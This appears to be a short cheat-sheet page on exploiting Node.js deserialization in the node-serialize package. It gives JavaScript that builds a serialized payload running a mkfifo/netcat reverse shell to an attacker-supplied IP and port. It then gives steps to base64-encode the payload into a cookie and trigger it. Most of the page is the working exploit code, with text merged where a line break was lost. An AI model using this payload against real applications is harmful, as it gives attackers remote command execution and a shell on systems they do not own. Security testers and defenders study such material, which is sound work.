Node.js Deserialization
Cookie Reverse Shell
1. Generate a Payload
mkdir test
cd test
npm install node-serializelet y = {
rce: function() {
require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', function(error, stdout, stderr) { console.log(stdout); });
},
};
let serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));2. Encode a Payload by Base64 and Add to Cookie
3. Execute Reverse Shell
References
Last updated